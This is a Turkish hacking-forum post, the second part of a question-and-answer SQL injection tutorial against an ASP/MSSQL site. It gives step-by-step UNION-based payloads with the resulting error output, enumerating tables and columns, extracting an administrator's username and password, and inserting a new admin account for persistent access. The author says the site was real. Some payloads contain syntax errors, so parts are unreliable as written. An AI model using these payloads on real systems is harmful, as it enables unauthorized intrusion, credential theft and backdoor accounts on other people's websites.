SQL Enjection 2

cartman

Katılımcı Üye
28 Ara 2005
932
17
zBjk
[FONT=Verdana, Arial, Helvetica, sans-serif]S.A[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]SQL enjeksiyonu konusunda daha önce yazdığım [/FONT] soru ve cevaplarla SQL enjeksiyonu-1[FONT=Verdana, Arial, Helvetica, sans-serif] başlıklı konunun ikinci bölümüne devam ediyoruz. Sorulara 1.bölümde bir arkadaşın sorduğu soruyla devam ediyoruz:[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif](SQL enjeksiyonu tehlikeli bir konu ve sağda solda dolaşan kendini bilmeden sağa sola saldıran çok kişi var.Bu nedenle sizden ricam bu bilgileri misyon dışında kullanmayın. -Enigma-)[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]S8:Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ hatası veren her or açığını yer anla**** gelirmi ?bu hatadan çok karşılaştığım için or açığı yemediği için sordum. yoksa başka SQL kod denememmi lazım[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]C8: Bu hata o sistemin potansiyel olarak SQL enjeksiyonuna maruz kaldığını gösterir. Ancak tam olarak istediğimiz hata mesajlarını alabilmek için ilk bölümde anlatılan diğer ifadeleri ( " or "a"="a gibi) denemek gerekir.[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]S9: Adım adım bir SQL enjeksiyonu nasıl yapılır?[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]C9: Önce SQL açığı olan bir siteyi, anlatılan ifadeleri ilgili yerlere yazarak buluyoruz. Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım, ancak domain ismini xxx ile değiştirdim.[/FONT]

http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]S10: Biraz hızlı gidiyoruz galiba. Bu “INFORMATION_SCHEMA.TABLES” , "TOP 1 TABLE_NAME " ne? Niye kullandık buları? (sizin adınıza güzel sorular soruyorum di mi? :) )[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]C10: INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz. Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık. INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve en üstteki tabloyu sorgulatmaya çalışıyoruz.[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için" şöyle bir hata verecek.[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3
[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Bingo!!! İlk hatamızı aldık... [/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]S11: Bu hata ne işimize yarayacak?[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]C11: Çok işimize yarayaak :) Çünkü bu hatayla biz en üstteki tablonun (TOP 1 TABLE_NAME) ismini öğrendik:adams. [/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]S12:Geri kalan tabloları nasıl öğreneceğiz. Yine aynı metodu mu kullanacağız?[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]C12: Aynı metodu da kullanabiliriz, ama işimiz biraz daha uzar. Bu nedenle neyi aramak istiyorsak ona yoğunlaşacağız. Mesela hedefimiz, kendimizi sitenin admin grubuna katmak olsun. O zaman içinde admins, users ya da login gibi kelimeler geçen tabloyu aratacağız. Bunun için de SQL’e "tablo adında mesela "admin" gibi (LIKE operatörü) kelimeler geçenleri bana göster" diyelim:[/FONT]
http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]SQL bize şimdi istediğimizi verecek :)[/FONT]

[FONT=Verdana, Arial, Helvetica, sans-serif]Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Varan 2... Artık admin tablosu diye bir tablo var elimizde, işimiz şimdi çok daha kolay. O zaman devam edelim. Şimdiki hedefimiz "admins" isimli tablodaki kolonlara ulaşmak. Aynı metodu kullacağız yine...[/FONT]
http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Burada da INFORMATION_SCHEMA.TABLES yerine INFORMATION_SCHEMA.COLUMNS ifadesini kullandık. Yani yine feyk attık SQL’e, o da bu feykimizi yedi:[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3
[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Varan 3 ... Artık "admins" isimli tablodaki ilk sütunun ismini biliyoruz:“logonID” . Devam edelim ve diğer sütunun ismine bakalım. NOT IN operatörünün kullanı**** dikkat edin:[/FONT]
http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3
[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Diğer sütunun da ismini öğrendik: "logon" diye bir tablo. Artık son aşamaya yaklaşıyoruz, sıra şifreler ve detaylarda:[/FONT]

http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’,’logon’,’password’,details’)--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 3
[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Şimdi de kullanıcı ismi ve şifresi için gereken komutlar. Önce admins tablosundan, ilk sütuna (logon)a bakalım:[/FONT]
http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif] UNION SELECT TOP 1 logon FROM admins--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]

[FONT=Verdana, Arial, Helvetica, sans-serif]Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’johny’ to a column of data type int.
/index.asp, line 5
[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]“johny” isimli yönetici hakkına sahip bir kullanıcı bulduk, şifresini de bulmak isteyelim:[/FONT]
http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif] UNION SELECT TOP 1 password FROM admins where logon=’ johny ’--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]veeee şifre geliyor:[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3
[/FONT]

[FONT=Verdana, Arial, Helvetica, sans-serif]Artık elimizde kullanıcı ismi “johny”, şifresi “aeE2DbU” olan bir kullanıcının bilgileri var. Rahatlıkla sitede istediğimizi yapabiliriz, ama bu kullanıcının şifresini değiştirme ihtimaline karşı, veritabanına yeni bir kullanıcı ekleyelim. [/FONT]
http://www.xxx.com/index.asp?catid=3[FONT=Verdana, Arial, Helvetica, sans-serif]; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’enigma’,’:p’,’NA’)--[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]Artık kendime ait bir kullanıcı ismi (enigma) ve sifrem :)P) var. Bundan sonrası bana kalmış
07.gif
...
[/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif][/FONT]
[FONT=Verdana, Arial, Helvetica, sans-serif]3. bölümde görüşmek üzere....[/FONT]
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.